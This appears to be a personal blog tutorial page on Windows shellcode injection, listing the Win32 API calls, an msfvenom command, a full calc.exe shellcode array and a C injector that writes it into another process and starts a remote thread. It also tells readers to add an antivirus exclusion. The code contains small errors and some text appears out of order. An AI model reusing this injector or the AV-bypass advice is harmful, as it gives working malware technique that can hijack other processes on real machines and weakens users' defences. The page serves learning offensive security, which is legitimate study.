๐Ÿ“œ
About me
  • ๐Ÿ“šAbout me
  • Projects
    • ๐ŸงชVial
    • ๐Ÿ’คWyze Whisper
  • Writeups
    • Main
      • TryHackMe
        • Easy
          • OhSINT
        • Medium
        • Hard
      • HackTheBox
      • PicoCTF
        • bloat.py
        • keygenme.py
        • Buffer Overflow Series
  • Malware Development
    • ๐Ÿฆ  Introduction
    • Process Injection
      • Shellcode Injection
      • DLL Injection
  • Binary Exploitation
    • Introduction
Powered by GitBook
On this page
  • Win32 API Calls
  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread
  • Setup
  • Shellcode
  • Setup II
  • Injection
  1. Malware Development
  2. Process Injection

Shellcode Injection

Apr 4, 2023

PreviousProcess InjectionNextDLL Injection

Last updated 2 years ago

Shellcode injection consists of four basic steps which are:

  1. Attach to/create a process.

  2. Allocate some memory within that process.

  3. Write the memory to the process.

  4. Finally, create a thread to execute the code we injected into the process's memory.

Win32 API Calls

Documentation for the following API calls can be found by clicking the functions header.

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Setup

#include <window.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}

Shellcode

We will use msfvenom in order to generate a simple payload that will run the calc.exe application.

msfvenom --platform windows --arch x64 EXITFUNC=thread -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f c --var-name=shellcode

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);

Setup II

#include <window.h>
#include <stdio.h>

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        
        rBuffer = VirtualAllocEx(hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(hProcess, rBuffer, payload, payloadSize, NULL);
        
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
        
        CloseHandle(hProcess);
        CloseHandle(hThread);
        
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}

Injection

Remember to make an exception in your antivirus software. Using the Win32 API like that will immediately get the program flagged by your AV.

Now let's compile our script

> gcc shellcode.c -o shellcode.exe
> ls
        Directory: C:\[...]\shellcode


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/4/2023   2:56 PM           2710 shellcode.c
-a----          4/4/2023   2:57 PM         257027 shellcode.exe

Great! Our injector is ready. For demonstration purposes, we will inject into notepad.exe

> notepad
> ps | findstr notepad
    247      13     2972      14468       0.08   8224   2 notepad
> ./shellcode.exe

For the sake of demonstration and logging, I added some prints in the code.

In the next writeup we will be talking about DLL Injections.

Let's start by implementing . The OpenProcess function returns a handle to a specified process. In case of failure, it will return NULL and we can get the error by calling GetLastError(). Therefore we can implement a simple check to handle errors:

And we did it! Congratulations

๐ŸŽ‰
๐Ÿ˜„
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
step 1
Shellcode Injection flow chart
Add an exclusion to Microsoft Defender
Successful shellcode injection.